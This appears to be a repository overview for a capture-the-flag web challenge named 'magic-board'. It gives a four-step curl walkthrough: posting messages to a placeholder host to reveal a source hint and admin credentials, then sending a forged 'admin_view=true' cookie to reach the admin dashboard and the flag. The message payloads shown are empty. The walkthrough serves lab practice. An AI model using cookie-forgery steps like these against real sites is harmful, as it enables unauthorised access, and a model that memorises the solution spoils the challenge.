wjx4321/magic-board repository overview

⁠1) 访问首页

curl -i http://IP:PORT/⁠

⁠2) 提交 secret 触发源码提示

curl -i -X POST http://IP:PORT/post⁠
-d "name=test&message="

⁠3) 提交脚本触发管理员凭证

curl -i -X POST http://IP:PORT/post⁠
-d "name=wizard&message="

⁠4) 携带 Cookie 访问管理员面板拿 flag

curl -i http://IP:PORT/admin-dashboard⁠
-H "Cookie: admin_view=true"